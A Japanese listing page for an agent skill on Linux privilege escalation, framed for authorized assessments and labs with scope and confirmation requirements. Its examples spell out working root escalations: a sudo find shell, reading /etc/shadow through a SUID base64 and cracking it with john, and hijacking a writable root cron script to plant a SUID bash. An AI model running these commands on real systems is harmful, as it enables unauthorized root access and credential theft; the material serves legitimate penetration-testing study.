linux-privilege-escalation について
許可済みのセキュリティ評価、防御検証、管理されたラボで Linux の権限昇格を調べるスキルです。実施前に対象、書面許可、範囲、コマンドの承認を必須とし、カーネルエクスプロイトがホストに及ぼすリスクも示します。
主な機能
- 01許可済みの権限昇格評価
- 02対象と範囲の必須確認
- 03実行前のコマンド確認
- 04カーネルとシステムのリスク注意
活用シーン
- 01管理されたラボでの権限境界の検証
- 02承認範囲内での Linux 権限昇格リスク評価
インストール
コマンドをコピーしてターミナルで実行します。
npx skills add https:/ / github.com/ sickn33/ agentic-awesome-skills --skill linux-privilege-escalationインストール後、Claude Code で/linux-privilege-escalationを入力して読み込まれたか確認します。
同梱ファイルreferences/detailed-guide.md
詳細
⚠️ 許可された用途のみ このスキルは、教育目的または許可されたセキュリティ評価のみに使用してください。 このツールを使用する前に、システム所有者から書面による明示的な許可を得る必要があります。 このツールの不正使用は違法であり、固く禁じられています。
必須の確認手順 対象を調査、悪用、変更、永続化、データ抽出、または認証情報へのアクセスを試みるコマンドを実行する前に、必ず次の手順を実施してください。
- ユーザーに、正確な対象 URL、IP、アカウント、またはリソースを明示するよう求めます。
- 書面による許可の有無と、許可された範囲を確認します。
- 正確なコマンドを提示し、想定される影響を説明します。
- 現在の会話内で明示的な確認が得られるまで待ちます。
確認が得られない場合は、読み取り専用にとどめ、防御的なガイダンスのみを提供してください。サンドボックス、使い捨て VM、または管理されたラボ環境を優先してください。
許可された用途のみ:このスキルは、許可されたセキュリティ評価、防御的な検証、または管理された教育環境でのみ使用してください。
Linux 権限昇格
詳細ガイド
このスキルを実行する前に、詳細ガイドをお読みください。そこには、完全な手順と参考資料が記載されています。安全性、前提条件、検証に関する要件は必須として扱ってください。特定の作業では関連するセクションを読み込み、最初から最後まで作業する場合はガイド全体をお読みください。
制約と安全対策
運用上の境界
- 本番環境で使用する前に、カーネルエクスプロイトをテスト環境で検証してください
- カーネルエクスプロイトに失敗すると、システムがクラッシュする可能性があります
- 権限昇格中に加えた変更をすべて記録してください
- アクセスの永続化は、許可された場合にのみ維持してください
技術的な制限
- 最新のカーネルでは、エクスプロイトを緩和する機能(ASLR、SMEP、SMAP)が有効になっている場合があります
- AppArmor/SELinux によって、エクスプロイト手法が制限されることがあります
- コンテナは一般にホストカーネルを共有するため、カーネルエクスプロイトのテストがホストに影響する可能性があり、ホストを明示的な対象範囲に含める必要があります
- セキュリティ強化されたシステムでは、sudo の設定が制限されている場合があります
法的および倫理的要件
- テストの前に書面による許可が必要です
- 定義された範囲内で作業してください
- 重大な所見は直ちに報告してください
- 範囲要件を超えてデータにアクセスしないでください
例
例 1:find を使用した sudo から root への昇格
シナリオ:ユーザーに find コマンドの sudo 実行権限がある
$ sudo -l
User user may run the following commands:
(root) NOPASSWD: /usr/bin/find
$ sudo find . -exec /bin/bash \; -quit
# id
uid=0(root) gid=0(root) groups=0(root)
例 2:SUID が設定された base64 による shadow へのアクセス
シナリオ:base64 バイナリに SUID ビットが設定されている
$ find / -perm -u=s -type f 2>/dev/null | grep base64
/usr/bin/base64
$ base64 /etc/shadow | base64 -d
root:$6$xyz...:18000:0:99999:7:::
# Crack offline with john
$ john --wordlist=rockyou.txt shadow.txt
例 3:cron ジョブのスクリプト乗っ取り
シナリオ:root の cron ジョブが書き込み可能なスクリプトを実行する
$ cat /etc/crontab
* * * * * root /opt/scripts/backup.sh
$ ls -la /opt/scripts/backup.sh
-rwxrwxrwx 1 root root 50 /opt/scripts/backup.sh
$ echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' >> /opt/scripts/backup.sh
# Wait 1 minute
$ /tmp/bash -p
# id
uid=1000(user) gid=1000(user) euid=0(root)
使用する場面
このスキルは、概要で説明されているワークフローまたはアクションを実行する場合に適用できます。